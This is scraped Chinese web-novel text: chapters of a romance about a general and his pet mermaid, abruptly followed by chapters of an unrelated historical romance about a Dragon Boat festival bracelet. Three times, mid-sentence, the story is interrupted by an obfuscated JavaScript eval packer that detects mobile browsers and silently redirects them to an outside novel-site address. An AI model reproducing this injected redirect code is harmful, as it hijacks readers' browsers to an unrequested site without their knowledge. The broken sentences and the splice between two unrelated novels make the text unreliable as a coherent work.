副官:!!! 为什么,为什么平时他稍微做错一点事情上将都要用眼睛刀他,为什么小人鱼把文件撕成这样都没事!这到底是为什么! 副官拿着文件伤心欲绝的出去,关上门的瞬间察觉到身后气息不对,他猛地一下转身,看到身后来人。 光洁无尘的走廊上站着一位身穿军装的中年男人,正盯着他看,似乎是在此处等待了一会。 “元,元帅。” 兰登一副温文儒雅的样子,“早上好,曜在里面吗?” “是的,元帅。” 兰登垂目看向副官手里拿着的东西,朝他伸手,“文件吗,我看看。” 副官神色一顿,“这个,这个不是……” 兰登脸上笑容不变,语气却硬了起来,“我看看。”他的眼神落到副官身上,带着威慑。 副官低着头,将手中的文件交给兰登。 兰登慢条斯理的打开,纸条和鳞片落下,洒了一地。 兰登:…… 副官:…… 兰登面无表情合上文件夹,“曜还养着那条人鱼?” 副官继续低头,“上将的事情,下官不太清楚。” 兰登沉吟着看了副官一会,然后露出笑脸,伸手拍了拍他的肩膀,“你也是个好孩子,跟着曜这么多年,却一直在上尉这个位置上,听说你还有一个妹妹?” 副官神色一凛,下意识抬头看向兰登。 兰登笑着朝他点了点头,“我还听说你在为你妹妹寻找合适的领养家庭,赫伯里亚高贵的家族我都认识,可以替你引荐,一定能让你为你唯一的妹妹找到最好的领养家庭。” - 最好的领养家庭。 佩德.桑塔纳上尉站在屋子门前,握着门把手,久久没有动作。 突然,他抬头朝上看去。 尖尖的白色屋顶,罩满春日海棠的墙壁,在海棠花梢处贴着的一扇窗户口,虚虚开着一条缝,露出半只美人鱼玩偶。 白色窗帘漂浮,少女坐在窗前,仰头望着窗外风景。 佩德握紧拳头,打开屋门。 夕阳半落,昏黄色的光带着压抑的橙色,在屋内客厅不断变幻。 佩德沉默着坐到沙发上,家政机器人走过来询问今日份晚餐。 “做娜娜喜欢的培根意面。” 说完话,佩德又陷入深深的沉默之中。 十分钟后,培根意面好了,佩德深吸一口气,走上二楼,来到娜娜的房间。 这是一栋老式二层欧式小洋房,虽在郊区,但却是佩德和娜娜从小生活的地方。最重要的是,娜娜如今的样子,也让她无法在人群中自在的生存。 “叩叩。”房门被敲响。 房间内响起电动轮椅碾压过木制地面的声音,下一刻,房间门被人打开,一个年轻的女孩坐在轮椅上出现在卧室门口。 她看起来不过十五六岁的样子,腿上盖着美人鱼图案的卡通毯子。再往她身后看,卧室里摆满了美人鱼玩偶,大大小小,占据了三分之二的空间。 这些美人鱼玩偶的衣着和脸都不一样,唯一相同的就是一条美丽的鱼尾。 “娜娜,吃饭了。” “嗯。” 娜娜驾驶着轮椅来到楼梯口。 新型先进轮椅进行改装之后,能走楼梯。 佩德跟在娜娜身后,看她安全到达一楼后才轻轻吐出一口气。 之前第一次使用这种轮椅的时候,娜娜还不习惯,从楼梯上摔了下来,幸好没有大碍。 夕阳彻底落下,屋内亮起一盏昏黄的灯。 佩德跟娜娜面对面坐在餐桌上。 培根意面上面添加了奶油和香芹,是娜娜最喜欢的口味。 两人沉默着吃完饭,佩德率先开口,“娜娜。” 娜娜抬头看他一眼。 “关于领养家庭的事情……” 娜娜低头,“哥哥自己决定就好。” 佩德一顿,握着勺子的手紧紧蜷缩起来,冷硬的勺子磕在掌心,似要将骨头碾碎。 他说,“好。” “哥。”突然,坐在对面的娜娜开口了。 佩德立刻询问,“什么事?” “我听说上将领养了一条人鱼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15349336|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想看看它。”娜娜直视佩德,脸上透出渴望。 她紧紧捏着身上的人鱼毛毯,甚至连呼吸都急促了起来。 佩德张嘴,想告诉娜娜这几乎是一件不可能的事。 可最终,他还是道:“好。” - 副官佩德已经完成工作回家。 陆曜一个人坐在办公室里忙碌。 战争结束,百废待兴,有很多事情需要处理,陆曜几乎没有停下休息的时间。 办公室的门突然被人打开,陆曜抬头望去。 换下军装,穿着一身优雅白色燕尾服的中年男人朝他走过来。 兰登刚刚参加完宴会,身上混杂着酒香和香水味,他走到陆曜面前,低头扫一眼他桌上的文件。 “曜,这么晚了还在工作,你这孩子,怎么这么不关心自己的身体。” 兰登走到陆曜身边,单手搭上他的小臂,轻轻拍了拍。 隔着黑色的军装,兰登感受到这只机械臂冰冷的温度,他的唇角不由自主轻轻翘了翘。 陆曜垂目,看着满桌子的文件,感受到兰登掌心的温度,隔着衣料传递过来。 下一刻,他抽手。 那股黏腻的温度却始终挥之不去。 陆曜眉眼平静,“我是该回去了,谢谢您的关心,老师。” “好,回去注意休息。”兰登话罢,微笑着率先离开。 办公室的门阖上的同一时刻,陆曜的脸上一闪而过明显的厌恶之色。 他抬手握住自己的小臂,等到冰冷的机械将那股温度同化之后,才松开。 - 今天陆曜的身上似乎有一股别的味道。 苏莉在当人的时候鼻子根本就没有这么灵敏,可成为人鱼之后,她的鼻子就像开了挂一样,不仅能嗅到陆曜身上的金属味道,还能嗅到那股不属于他的香水酒味。 不会吧不会吧,像他这样的工作狂男人还会去找女人鬼混? 苏莉疑惑的视线将陆曜上下打量一番,最后收回。 也是,长成这样还不知道谁吃亏呢。这样的姿色送到她面前,她也把持不住。 男人站定在苏莉面前。 苏莉眯眼。 心虚。 他知道她把生鱼片放他被窝了? 不会吧,他才刚回来,还没进过卧室呢。 男人抬手。 苏莉下意识抱头。 陆曜:…… “你又做什么了?” 没有啊。 苏莉抱着头企图离开。 男人伸手,托住她的下颚。 苏莉:……好吧,她承认,你被窝里面的生鱼片是她放的。 “抱一下我的手。” 苏莉:??? 16.第 16 章 客厅内陷入古怪的安静,苏莉抬头看一眼陆曜,再低头看一眼他的手臂。 你这里面……没有藏炸,弹吧? 苏莉伸出一根手指,轻轻点了点男人的小臂,然后迅速驾驶人鱼车远离,甚至躲到了沙发后面。 陆曜:…… 没有爆炸,能活。 苏莉慢吞吞从沙发后出来,然后躺了回去,等着家政机器人做好晚饭叫她。 至于陆曜抽什么风她就管不着了。 等待晚饭的时间有点无聊,苏莉掏出自己的旧智脑,开机……开,怎么打不开了? 没电了?黑屏了?今天刚刚充过电,还没怎么玩呢,难道是坏了?没有智脑她要怎么活!这跟鱼失去了水有什么区别! “坏了,想要买新的?”一道声音从沙发后传来。 苏莉仰头,看向站在沙发后面的男人。 陆曜双手环胸站在那里,居高临下看着她,“不给买。” 苏莉:……狗男人。 - “松开。” 陆曜低头,看向挂在自己胳膊上的人鱼。 人鱼坐在地上,双臂死死搂着他的胳膊,鱼尾盘踞,裙子花瓣般散开,尾巴一翘一翘的,显然心情不错。 陆曜朝前走了两步,连带着身上的挂件也跟着飞了两步。 苏莉正在努力把自己的尾巴也盘到陆曜身上,不过因为姿势太过扭曲,所以没有成功。 “给你买。” “啪嗒”一下,苏莉利落松开。 她就知道,一定会有正义又善良的人自愿给她买高档智脑的。 陆曜抬手,不着痕迹摸了摸自己的小臂。 “出去吃吧。”他说。 出去吃? 听到这三个字的人苏莉下意识歪了歪头。 对食物完全没有欲望,摄入只是为了活着的一个人居然说要出去吃美食? 半个小时后,苏莉和陆曜出现在了她挑选的一家西餐厅里。 这么高档的餐厅她还是第一次来呢。 苏莉紧张地点菜。 怎么还不上菜。 服务员走过来,弯腰道:“您好,您点的钢琴曲已经为您演奏完毕。” 与此同时,隔壁传来富人用餐时愉悦开朗的笑声。 苏莉:…… “接下来为您上菜。” 菜是一道一道上,然后一道一道撤的。 苏莉吃得很满足。 食材新鲜稀有,菲力和牛,鹅肝黑松露,最后一道焦糖核桃巧克力慕斯让巧克力爱好者苏莉非常满意。 “这是本店为您赠送的一款柚子草莓甜品。” 陆曜不爱吃甜品,苏莉吃完自己这份,美滋滋的把陆曜那份拿过来吃了。 吃完烛光晚餐,他们又继续去买智脑。 智脑品牌很多,在商场一楼。 苏莉坐在人鱼车里,看着一排排智脑品牌从自己面前滑过,这个不错,听说用起来很丝滑,就是充电的时候容易发烫,那个也不错,听说是智脑界的颜值天花板……最后男人带着她在其中一家门口停留下来。 苏莉期待地抬头,看到一个夸张的卡通标志。 “您好,请问需要买智脑吗?”业务员热情服务,“咱们这个品牌是专门为孩子设计的,智脑包括定位功能,自动接通功能……” 苏莉:她不要这个。 “嗯,买一个。” 狗男人!她需要隐私! “这款还可以增加副卡功能,您需要开通吗?”业务员忍不住叹息,这么帅的大帅哥居然已经有孩子了。 “嗯。” 其实隐私也没有那么重要。 反正她体内本来就有定位芯片。 陆曜抬手指向苏莉。 “给它戴上。” 居然是给人鱼买的!业务员露出羡慕的眼神,不过能养得起人鱼的自然也不缺钱。 这款智脑跟陆曜手腕上的那款很像,不大,类手表一般戴在手腕上,还是苏莉喜欢的粉红色。 “副卡功能还可以设定金额上限,您难道是给人鱼用吗?”业务员又再次确定了一遍。 “嗯,不用设定上限。”陆曜替苏莉开通副卡功能,“想要什么就自己买。” 苏莉一把抱住了男人的大腿。 - 其实她还没有花男人钱的习惯。 一边想着,苏莉一边看着自己智脑上面数量999+的快递心虚了一下。 然后她发现,这个自动接通功能一次都没有被用过,并且这个自动接通是双向的,也就是说,就算是她打给陆曜,不管他那边是在洗澡还是在战场上,都会自动接通。 “我在工作。”陆曜抬手,正准备关掉智脑。 “是莉莉吗?”芙蕾雅好奇地凑上来,“宝宝宝宝宝宝,是姨姨呀~” 苏莉摸着自己脖子上价值昂贵的珍珠项链,也表现出了极大的热情。 看我给你表演个爪爪开花。 你不能强制人鱼表演,但你不能阻止人鱼硬要表演,并且向你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357301|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索要演出费。 “莉莉居然会给你打智脑电话?” “误触吧,这个是自动接通。”陆曜关掉智脑,看着上面接通的智脑电话数量,陷入沉默。 一天二十四个小时,从今天早上到现在不过三个小时,他已经接通了十八个来自人鱼的智脑电话。 这当然是她故意的啦! 她自己打过去肯定比被陆曜打过来发现她在看男人跳舞来的安全啦。 “莉莉很久没来军部了吧?”芙蕾雅单手托腮,“我好想它,你明天把它带来吧?” 陆曜翻过文件的手顿了顿。 “兰登这几天去教堂祈福了,不会过来,你放心。”芙蕾雅压低声音,“而且莉莉一条鱼在家里也会无聊的嘛。” 陆曜看到自己的智脑上不断闪现的付款信息,沉默一瞬后道:“知道了。” 副官佩德站在两人身后听到对话,下意识紧张地咽了咽口水。 - 机械快速发展,昨天早上下的快递大部分晚上就到家了。 陆曜站在门口,看着被快递淹没的客厅,沉默一瞬,抬手指挥家政机器人整理。 机器人将快递全部搬到房间里,终于将客厅清空出来。 苏莉躺在沙发上甩了甩尾巴。 男人,你回来了。 “晚上吃什么?”陆曜走到清理完快递的家政机器人面前。 不吃,零食吃多了,不饿。 苏莉歪头继续玩智脑。 男人抬眸看她一眼,指尖在家政机器人面板上点了点,最后也只要了一杯咖啡。 夜半,苏莉正睡得安稳,突然听到一阵奇怪的声音。 她努力睁开眼,看到厨房的灯亮了。 嗯?机器人造反了?世界要被终结了? 苏莉扒着水箱探出头,看到厨房内一个熟悉的身影端着一盘烧烤出来。 苏莉:…… 看到人鱼从水箱内冒出的半颗头,陆曜动作停顿了一下,将盘子放下。 沉默中,烧烤的香味开始四处弥漫。 男人的智脑突然响了。 陆曜看一眼,抬手正准备关掉,一只手比他更快,直接接通了这个视频通话。 “曜,记得明天要带莉莉过来哦。”是参加完宴会还想着莉莉的芙蕾雅姨姨。 “嗯。”陆曜应一声,语气略微生硬。 芙蕾雅视线下移,看到陆曜手边的烧烤,“你……” 男人淡定的移动智脑,对准苏莉,“莉莉非要吃。” 17.第 17 章 “莉莉宝宝还在长身体。”芙蕾雅看着智脑里苏莉那张高清萌脸,喜欢的不得了。 苏莉眨了眨眼,伸手去拿烤盘上的金针菇。 背了这么大一口锅,不得给她吃点?不然把她纤细的脊椎骨压断了怎么办? 金针菇被挂在一根竹签子上,细细长长的被苏莉捞起来,正往下滴着油。 那热油落到陆曜搭在桌边的手背上,隔着一层手套,他下意识抬了抬手,往后一躲。 芙蕾雅正巧看到这一幕,她脸上笑容一顿,极其敏锐的脱口而出,“你升级传感系统了?” 陆曜垂目,“嗯。” “哦。”芙蕾雅脸上露出意味深长的表情。 “挂了。”陆曜抬手挂断智脑,苏莉正在吃金针菇。 咬不断,又漏油。 她张大嘴,让金针菇滑进她嘴里,视线却忍不住朝陆曜的机械臂看了过去。 传感系统?那是什么东西? 男人垂目看她,唇角若有似无的捻起,“小心点,烫到我了。” 烫?你这玩意不是没感觉的吗?还有你被烫到了高兴什么? - 第二天又是无聊的陪班日常。 陆曜把她带到军事基地以后就去开会了,芙蕾雅本来说好要来的,临时有事也来不了。 苏莉在沙发上翻滚了一圈,然后又翻滚了一圈。 陆曜的副官突然推门进来,表情略显忐忑和紧张。 “你好,莉莉。” 他是一个身高大概近一米八,戴着眼镜,身型微胖的年轻男子,看起来像一个老好人。 在苏莉的印象中,这位副官如同影子一般跟随在陆曜身边,替他处理包括生活上的一些工作。 苏莉朝副官看过去,难道是陆曜找她?可是他为什么不给她打智脑电话? 苏莉开始摆弄智脑,下一刻,佩德侧身,他身后出现一个坐在轮椅上的女孩。 四面都有监控,佩德利用自己的职权,暂时控制了陆曜办公室附近的监控,如此才将娜娜偷偷带过来。 苏莉晃了晃手腕,智脑迎光闪了闪,这边静音后自动接通,而另外一边却能清晰听到和看到这里的情况。 会议室里,坐在首位的男人突然抬手让众人噤声,众人讨论的声音霍然停止。 陆曜垂目盯着智脑,然后起身,“今天的会议就开到这里。” - “是真的……人鱼。” 娜娜坐在轮椅上,目不转睛地看着躺在沙发上的苏莉,眼睛瞬间就睁大了。 天气逐渐暖和起来,比起高档的新风循环系统,苏莉更喜欢自然风,因此,办公室的窗户是半开的。 风随阳光落下,卷入办公室里,吹落少女膝盖上印着卡通人鱼的薄毯。 娜娜身上穿了一件白色连衣裙,外罩一件针织衫,毯子落下,她一只脚踩在轮椅踏板上,另外一边却空荡荡的。 娜娜弯腰,焦急地伸手去捡地上的毯子。 佩德快她一步,替她将毯子盖到膝盖上。 “哥哥,我想跟人鱼聊聊天。”娜娜仰头看向佩德。 佩德看一眼时间,虽为难,但还是点头道:“好。” 佩德关上门出去了,然后迅速前往会议室。 他要去会议室拖住上将。 佩德来到会议室门口,深吸一口气,打开门……门从里面被打开,一只机械臂以极大的力气扭住他的胳膊,另外一只机械臂死死掐住他的脖子。 因为窒息,所以佩德面色涨得通红。 “上将……” “佩德,你跟了我很多年。”陆曜的声音很低,比压着佩德手腕的机械臂都冷,“我想知道,你现在准备做什么。” “是我妹妹,娜娜是我妹妹,她很喜欢人鱼,我只是想让她见一见莉莉而已,莉莉是我见过的世界上最美好的人鱼。” 虽然这是事实,但佩德知道,上将疑心很重。 “嗯。”男人松开了押着他手腕的机械臂。 嗯? 佩德懵懵地站在那里,脖子上传来窒息的疼痛,连呼吸都带上了灼热,更别说那差点被碾碎的手腕骨。可他似乎,好像,意识到了一点什么,“最重要的是莉莉善良美丽又真诚。”说完,佩德小心翼翼看陆曜脸色。 陆曜垂目盯着智脑,伸出两指,放大投影。 立体的虚拟影像投放在两人面前。 陆曜懒懒道:“它很会骗人,不过确实很聪明。” 发现不对劲,给他发送了智脑电话。 如果没有之前的相处,陆曜会认为这只是一次误触,可他太了解这条心机小人鱼了。 - 办公室里只剩下娜娜和苏莉一人一鱼。 苏莉从沙发上坐起来,鱼尾曳地,淡紫色的鳞片上镀了一层光,呈现出漂亮的七彩色泽。 “人鱼,你不要害怕。”娜娜小心翼翼驾驶着轮椅缓慢来到苏莉面前,语气极其温柔的说话,似乎是害怕将人鱼吓跑,可分明,嗓音颤抖的人是她。 轮椅停住,人鱼长长的鱼尾隔着一小段距离,轻轻扇了扇。 娜娜从胸前掏出一个东西,淡紫色的鳞片,被一根细长的线穿着,挂在脖子上。 “哥哥之前说这是人鱼的鳞片,我还以为他是在骗我呢,原来真是你的吗?” 苏莉仔细看了看,确实是她的。 鳞片被保护的很好,看起来甚至比她身上的还光亮鲜艳。 “听说拥有人鱼鳞片,然后对着人鱼许愿,就能获得幸福。” 这是哪里的听说?好吧,苏莉确实听到过这样的说法,这大概是机构为了给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360663|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚慰人鱼镀金,卖个好价钱,所以编造的故事。就像一些品牌,为了卖自己的产品,会编造一个高大上的故事一样。 虽然知道是假的,但艾米丽也曾偷偷拿着她的鳞片对她许过愿望,说希望一觉睡醒就瘦十八斤。 当然这是不可能实现的。 虽然苏莉一直没有说话,但娜娜一个人也说得很开心。 她肌肤惨白,是那种常年不见日光的白,虽然年纪很小,但浑身上下都带着一股潮湿阴雨的感觉,像一颗长久没有见光的蘑菇。在看到苏莉的瞬间,她就像是被点燃了。 娜娜抚摸着鳞片,“人鱼拥有祝福人类的能力,获得人鱼的鳞片,并向它祈祷,它就会实现人类的愿望。我和哥哥可以获得幸福的,对吗?战争很残酷,父母没有救回来,我虽然失去了一条腿,但只要哥哥能从战场活着回来我就很开心了。”娜娜低着头,用力攥紧裙子,“哥哥在替我找领养家庭,我知道,他觉得我是拖累。” 会议室门口,娜娜的声音隔着智脑清晰传递过来,佩德想要摇头,却因为陆曜的桎梏,所以无法动作,只加重了呼吸声,急得面红耳赤。 “很高兴见到你,人鱼。”娜娜语气之中满是满足,“我知道我很幼稚,这么大了还相信这种传闻,可还是谢谢你。” 智脑断开,会议室门口陷入一片沉寂。 “上将,我,我去找娜娜。” “嗯。” 得到准许,佩德立刻起身往前跑。 娜娜正驾驶着轮椅从陆曜的办公室里出来,从哥哥紧张的神色来看,她知道自己今天能见到人鱼,哥哥应该是冒了风险的。 可她还是想任性那么一次。 说她幼稚也好,说她幻想也罢,她真心认为,若是能见到传说中的人鱼,她和哥哥就能获得幸福。 “娜娜。”一道声音从自己身后传来,娜娜转身,看到了站在那里的佩德。 佩德拉高领口,挡住红肿的伤口。 两人面对面看着对方。 佩德双眸一红,嗓音却掩饰不住的沙哑,“你怎么会是拖累呢,娜娜。”他缓慢走到娜娜面前,蹲下来,“你是我在这个世界上,背叛所有都要保护的妹妹。” 娜娜愣在那里,她不可置信地看向佩德,眼泪控制不住的往下滑落。 娜娜张嘴,声音哽咽,“我不想被领养,我想跟哥哥在一起。” 佩德也同样无法忍住眼泪,他呜咽着埋首,“是哥哥错了,我只是希望娜娜幸福。” 娜娜伸手,紧紧握住佩德的手,“我也希望哥哥幸福。” - 消失,消失,消失。 苏莉握着自己身上掉下来的鳞片,对着陆曜在内心喊了三遍。 男人依旧好端端地坐在办公室里。 啧,果然是骗人的。 40-50 第41章 续命缕 立夏日过了便是端午。 说好的半月就能回去, 没想到一拖就拖了一个多月。 明日便是端午,热闹的气氛已经在姑苏逐渐弥漫开来,老宅的管家也开始张罗着往门上挂艾草和菖蒲, 用来驱邪避瘴, 祈求平安健康。 “听说那马车夫撞死人的案子了结了,原来是那李挚得罪过太守府的管事,被管事买凶杀人了。” 有路人从苏家老宅门口路过,正在讨论姑苏城内最新的八卦情报。 老管家听到此话, 顿时觉得最近治安颇有不稳, 便往大门上多挂了几串艾草和菖蒲,又忍不住怜惜道:“真是可怜见的, 那么年轻的一个小伙子。” 推个管事出来顶罪, 就以为这件事了结了。 这孔礼河和施昌果然是狼狈为奸的一对贱人。 苏甄儿坐在闺房内编织百索。 百索又名续命缕,以五彩丝编制而成。 苏甄儿是个没什么耐心的人, 编到一半又懒怠了, 再加上心中烦躁, 就更没了兴趣。 她放下百索, 从旁边的小盅里取了一颗粽子糖放进嘴里。 粽子糖硬实又甜,带着淡淡的薄荷香气。 “咔嚓”一声, 粽子糖被苏甄儿直接咬碎。 其实她也不必如此气恼。 士族豪强,权势官宦。 视人命如蝼蚁。 这么多年, 他们习惯了。 自然也有不同的,只是太少,少的可怜,少的在这个大染缸里就像是一个异类。 被排斥, 被清除,被覆灭。 李挚的案子了结之后, 就剩下施品安和歌楼舞女的案子了。 陆麟城作为本案的主审官正在衙门内听审。 在这里,身份最高的人是陆麟城,他没有选择做主位,而是坐在了左侧屏风后面。 如此一来,孔礼河自然也不敢去坐主位,而是选择坐在了陆麟城下首处。 知县大人站在主位前,不敢坐下。 生恐一个举动触怒了屏风后的贵人,让他乌纱帽不保。 听说这位北辰王可是皇帝陛下面前的红人,身上挂着皇帝亲手给的令牌,先斩后奏,皇权特许。 因此,知县大人不仅要担忧自己的乌纱帽,还要担忧自己的生命安全。 知县大人的双腿抖如筛漏,视线不住往屏风后面瞥。 镂空的竹屏上封着一层绿纱,隐隐绰绰显出身后男子的身型剪影,他坐在一张红木圈椅之上,双手置在身前,低垂着头,像是在摆弄着什么。 孔礼河坐在陆麟城身后的地方,微微倾身过去。 看到男人指骨分明的手上缠绕着五彩丝线,漂亮的百索已经编了一半。 “还不开始吗?”陆麟城抬眸,隔着屏风朝知县看去。 知县听到陆麟城的话,顿时汗如雨下,他敲了一下惊堂木,因为太过紧张,所以没有拿稳,掉在了地上。 他赶紧弯腰捡起来,抱着那惊堂木,就跟抱着祖宗牌位似的,结结巴巴的开始升堂。 此次的案子,人证物证巨大,施昌和孔礼河也已经尽了最大努力,钱、人,陆麟城一概不收,是铁了心要秉公办理- 天色渐暗,苏甄儿在软榻上睡了一场午觉,醒过来的时候隔着身侧半开的窗子望见昏暗的天色,陡然从内心升起一股难掩的孤寂感。 她醒了醒神,挂在窗户上的绿纱被风吹起,外头传来熟悉的脚步声。 她下意识掀开被褥起身,跪在软榻上弯腰探出窗子,看到陆麟城顺着游廊走来。 他身上穿着常服,身后是渐渐隐没的日光。 男人略一抬头,便看到了扶趴在窗口望向他的女人。 女子一袭白裙外罩芙蓉花色的褙子,素白藕臂撩起绿纱。 风起,那绿纱往前吹,盖住了她的脸。 苏甄儿手忙脚乱地拿开,再睁开,陆麟城已经走到了她面前。 “你回来了,案子办得怎么样了?” “按照大周律法,秉公处理。” 陆麟城话罢,垂眸从宽袖暗袋内掏出什么。 左臂上一紧,苏甄儿低头,看到陆麟城正在给她系百索。 “哪里来的百索?” “我编的。” “啊?” 编百索是端午日女孩子们的娱乐节目,用以暗示夸赞女子蚕桑之功,她还从未听说过男的也喜欢做这种事情。 “好看。”陆麟城低头,看着苏甄儿左臂上的百索,指腹轻轻摩挲过去。 苏甄儿仔细看了一眼这百索。 虽是用寻常彩丝编出来的,但上面缀着一圈粉色珍珠。 苏甄儿不是没见过好东西,可是像这样成色质地的粉色珍珠,只有宫里头才有吧?一颗就价值千金,更别说是一串了! 因此,就算是见惯了好东西的苏甄儿也忍不住微微睁大了眼。 最重要的是,这条百索比她编的好! 对于这种手工活动,苏甄儿在这上面的天赋一向不高。 比如刺绣,比如编百索。 “确实好看。”苏甄儿不吝夸赞。 尤其是这一圈粉丝珍珠,如此匹配她高贵的气质。 “你一定偷偷练过吧?”苏甄儿不肯相信陆麟城第一次编就能编的那么好。 听到苏甄儿的话,陆麟城神色一顿。 记忆恍惚又回到那个时候,少女坐在垫着帕子的石头上,正在苦恼要给父兄和母亲的百索。 少年正在练习弓箭,偏头朝她看去。 少女手里的彩丝缠绕在一起打成很多死结,她拯救了一会,实在无法拯救,气得直接扔了,然后吩咐丫鬟去街上买三根替代,又嘟囔着说,反正每年都是这样的,父兄和母亲也不会知道。 端午那日,营帐里很热闹,主家给众人送了粽子,这些流民为了表示感谢,也将他们编的百索送给了主家,表示祝福。 角落的少年无人在意。 他趁着众人热闹之时,出了营帐。 不远处,少女跟丫鬟站在一处,那丫鬟正在替她念今日端午旁人送来的礼单。 “金胎穿珍珠手镯一对、红珊瑚一座……” 少年顿时止步。 藏在袖中的,那个被少女扔掉,被他从地上捡起之后,花费了数日编起来的百索在此刻显得如此简陋,与前面那位虽然只距离他数步之遥,但却犹如云泥天隔的华衣美服的少女全然不匹配。 陆麟城垂下眼睫,“嗯,练了很久。” “你练这个做什么?” 男人看她一眼,“那个时候穷,拿这个卖钱。” 苏甄儿:…… 苏甄儿想起来,芙蓉馆的信息网并没有查到任何关于陆麟城从前的事,反倒是外面的话本子里,全部都是他的传唱。 什么身负血海深仇的罪臣之子,隐忍数年终成大器,手握强权,重拳出击;什么隐姓埋名的皇亲贵胄,为了证明自己的实力非要干出一番事业;什么被排挤的边角料氏族,村里第一个异姓王之类的。 “你从前是做什么的?”苏甄儿产生了一点好奇心。 陆麟城又看她一眼,“卖百索的。” 苏甄儿:…… “你嫌弃吗?”男人垂下眼眸,语气看似漫不经心。 “自力更生,不嫌弃。”苏甄儿已经笃定他在跟自己开玩笑,将身子往里一缩一回头,看到桌子上置着的那根自己编织了一半的百索。顿时从软榻上起身,赤足走到桌边将百索往袖子里藏。 彼时,陆麟城正好撩开芦帘进来。 他低头,看到苏甄儿一双赤足踩在地上。柔软漂亮的肌肤,粉白色贝壳般的指甲盖,有时候喜欢用凤仙花染成艳丽的红。 乳白色的地砖被擦得光洁如新,虽天气回暖,但依旧寒凉。 男人弯腰,将苏甄儿抱回到软榻上。 软榻很窄,男人身型又高,坐在榻沿,挤着她,她的脚没地方放,搭在他膝上。 苏甄儿双手撑着软榻,把手里的东西往毯子里塞。 “藏什么?” “没有,你看错了。” 男人倾身过去,臂膀垫在她腰后,声音有些低,“这个百索是给别人的吗?” 苏甄儿扭头一看,毯子里露出一点五彩丝线。 苏甄儿:…… “不是。” “那是给谁的?” 苏甄儿抬眸,对上陆麟城视线。 “……给你的。” 分明是极其简单的几句对话,可不知道为什么,盯着男人的眼睛说出来的时候,苏甄儿莫名感觉到了一股羞耻。 “哦。”陆麟城低头,将下颚搁在苏甄儿的肩膀上,指腹抚了抚露在外面的五彩丝线,用指尖勾住,眼神亮了几分。 “我这个,还没做好,等做好了再给你。”苏甄儿一把压住他的手,实在是不想让陆麟城看到她做的丑百索。 没有对比就没有伤害,他一定会嘲笑她的! 或许,她能趁着现在天色未暗,出去买条新的? “你是不是想出去买条新的给我?” 苏甄儿:!!!他是会读心术吗? “王爷说笑了,这么重要的东西,我自然会亲手编了再亲手给王爷戴上。” 苏甄儿笑得甜美,说话的时候努力控制住自己咬牙切齿的表情。 是夜,苏甄儿坐在榻上编百索,陆麟城坐在她身边,刚刚稍阖上眼,就被苏甄儿“不小心”捅醒。 “王爷别急,我还没做好,等我做好了,一定会‘亲手’给王爷戴上的。” 陆麟城:…… 第42章 看剑舞 端午日, 苏甄儿一觉睡醒,发现自己一夜蜷缩在榻上,身侧躺着陆麟城, 臂膀勾着她的腰。 软榻窄小, 陆麟城身型高大,两个人完全无法正常躺平,因此,苏甄儿几乎半个身子都压在他身上。 屋内炭盆没有熄灭, 依旧散发着暖和的温度。柔软的毯子盖在两人身上, 大部分都在她身上。 陆麟城天生体热,就算是寒冬腊月也是一袭单衣外罩一件长袍或袄子, 睡觉的时候一袭薄被就好了。 陆麟城很忙, 每日晨起,苏甄儿睁眼的时候他大部分时间都已经不在了。 像这样她比他先醒的时候, 几乎没有。 苏甄儿动了动胳膊, 发现那还差一点就编好的百索正被她握在掌心。 昨夜她实在是太困了, 编着编着就睡着了。 她小心翼翼抬了抬胳膊, 将剩下的一点百索编完,然后将其穿过陆麟城的胳膊, 系在他的左臂上。 丑是丑了点,可这是她花费了一整夜编出来的, 他若是嫌弃,那她就,她就……再也不理他了! 苏甄儿仔细欣赏了一番这根百索,然后打了一个哈欠继续闭眼睡回笼觉。 女人闭上了眼。 陆麟城这才缓慢睁开双目。 多年刀口舔血的生涯已经让陆麟城养成了极其警惕的性格, 除了上次失态多饮了那一坛子梨花酒外,他不会陷入深度睡眠, 稍有风吹草动,便会惊醒。 只是现在跟从前到底不一样。 柔软的芙蓉香,贴在自己身侧的温润肌肤,丝绸料子搭在他身上,不是恶心的血腥气,也不是湿润的烂泥腐肉味道,更不是阴冷的死人堆。 而是温暖的,安心的,就连他睡梦之中都无法梦到的,绝美的幻想一样的真实。 从定亲到成亲到现在,陆麟城还觉得自己像是在做梦。 飘飘然的熏醉感,让他每日睁眼,都觉得这个世界是如此的不真实。 像梦。 春日清冷的空气从窗户缝里溜进来,少女的香闺里每一件物品都浸着她的痕迹和味道。 梦与现实缓慢融合,陆麟城颤了颤眼睫,听到自己狂热的心跳声。 